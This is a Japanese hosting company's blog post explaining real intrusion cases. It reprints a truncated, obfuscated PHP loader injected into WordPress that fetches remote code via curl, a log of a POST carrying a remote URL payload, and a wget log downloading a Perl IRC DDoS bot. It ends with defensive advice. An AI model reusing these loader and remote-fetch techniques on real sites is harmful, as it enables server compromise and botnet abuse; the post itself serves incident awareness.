不正アクセスは実際にはどんなことをされているのか?
こんにちは。ネットアシストのBNです。
「不正アクセス」という言葉を定期的に耳にすると思います。
最近では、ネットワーク設定ミスにより、国立大学の業務で使用しているNASに不正アクセスされた上、データが改ざんされるといったニュースがありました。
サーバを普段から操作されない方は、不正アクセスとは実際にどんなことをされているのか、イメージがしにくいと思います。
今回は、弊社にて過去に確認した不正アクセス被害について簡単にご紹介します。
WEBページが閲覧できなくなったケース
お客様より特定のWEBページが閲覧できないとのご連絡をいただき、サーバ内を確認すると
WordPress内のPHPスクリプトが、以下のように改ざんされていました。
<?php @header('Content-Type:text/html;charset=utf-8');error_reporting(0); $OOOOOO="xxxxxxxxxxxxxxxxxxxxxxxxxx"; global $O; $O=urldecode($OOOOOO);$oOooOO='z1204_7';$oOooOOoO=$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$oOooOO.$O{59}.$O{10}.$O{14}.$O{8}.$O{8}.$O{12}.$O{11}.$O{59}.$O{4}.$O{8}.$O{9}; function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){$ooooOOOooOo=curl_init();curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1)
以下省略
また、PHPが改ざんされる数秒前に、WEBページに対し下記のリクエストが送信されていました。
xxx.xxx.xxx.xxx - - [xx/xx/xxxx:xx:xx:xx +0900] "POST /assets/images/2017/02/zzzzz.php?url=http%3A%2F%2Fyyyyy.com/yyyyy HTTP/1.0" 200 5841 "https://www.xxx.co.jp/assets/images/2017/02/zzzzz.php?url=http%3A%2F%2Fyyyyy.com/yyyyy" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36"
リクエストには「?url=http%3A%2F%2Fyyyyy.com/yyyyy」というURLのようなパラメータが付加されています。
調査時点では削除されていましたが、「http%3A%2F%2Fyyyyy.com/yyyyy」には攻撃のためコードが記載されたファイルが配置されていたものと思われます。
このリクエストが送信された結果、「http%3A%2F%2Fyyyyy.com/yyyyy」を経由してPHPが改ざんされ、WEBページが閲覧不可となりました。
ツールを設置され、サーバーの負荷が上昇したケース
突発的にCPU使用率が100%になるサーバがあるため調査してほしいとのご依頼をいただき、
各種ログを確認したところ、Apacheのエラーログ上で、ファイルをダウンロードするコマンド(wget)が実行された痕跡が残っていました。
[Thu Oct xx xx:xx:xx.xxxxxx xxxx] [mpm_prefork:notice] [pid 2098] AH00163: Apache/x.x.xx (xxxx) OpenSSL/x.x.xk-fips PHP/x.x.xx configured -- resuming normal operations
[Thu Oct xx xx:xx:xx.xxxxxx xxxx] [core:notice] [pid 2098] AH00094: Command line: '/usr/sbin/httpd'
--xxxx-xx-xx xx:xx:xx-- http://xxx.xxx.xx.xxx/a/plms
Connecting to xxx.xxx.xx.xx:xxx... connected.
HTTP request sent, awaiting response... 200 OK
Length: 39437 (39K)
Saving to: 'STDOUT'
0K .......... .......... .......... ........ 100% 96.2K=0.4s
xxxx-xx-xx xx:xx:xx (96.2 KB/s) - written to stdout [39437/39437]
[Fri Oct xx xx:xx:xx.xxxxxx xxxx] [mpm_prefork:notice] [pid 2098] AH00173: SIGHUP received. Attempting to restart
また、このケースでも①と同様に、wgetが実行される数秒前にリクエストが送信されていました。
このリクエストでは、メッセージボディに不正なパラメータが記述されていたものと思われます。
xxx.xxx.xxx.xxx - - [xx/Oct/xxxx:xx:xx:xx +0900] "POST / HTTP/1.1" 405 355475 "-" "-"
wgetでダウンロードされたファイルはPerlで記述されたIRCBotで、
攻撃者からのコマンドを受信し、その操作が実行されることで、CPUなどのリソースが消費されていたようでした。
またスクリプトの内容からは、DDoSアタックのツールと思われた為、このサーバーを踏み台にして、更に他のサーバーにアタックを行っていた可能性も考えられました。
#!/usr/bin/perl
######################################################################################################################
######################################################################################################################
## DDoS Perl IrcBot xxxxxx xxxxxxxx xxxxx ## [ Help ] ###########################################
省略
上記以外では、仮想通貨のためのマイニングツールを設置されていたケースがあった事も確認しています。
まとめ
いかかでしたでしょうか。
サーバ内ではApacheやMySQLなどの各種ミドルウェアや、
WEBアプリではLaravelなどのPHPフレームワーク、WordPressなどのCMSを使用される事も多いと思います。
万が一、それらの内1つでも脆弱性があれば、攻撃者はそれを巧みに利用してサーバに攻撃を仕掛けてきます。
攻撃を完全に防ぐ事は難しいのですが、定期的なソフトウェアアップデートやWAFの導入、また、IPAが公開している「安全なウェブサイトの作り方」に沿ったWEBアプリの作成など、
普段からの対策を検討いただければと思います。
■IPA 安全なウェブサイトの作り方
https://www.ipa.go.jp/security/vuln/websecurity.html
サーバの運用管理やセキュリティに不安がある方へ
弊社では24時間365日のサーバ監視保守運用サービスを提供しており、20年以上の実績がございます。
今回ご紹介したアタックへの対策として、セキュリティツールの販売や、WEBサイトの表示速度を上げたい、迷惑メールを遮断したいなど、サーバに関する様々なご相談も受け付けております。
興味がございます際は、下記のお問い合わせフォームまたはお電話にて、お気軽にお問い合わせくださいませ。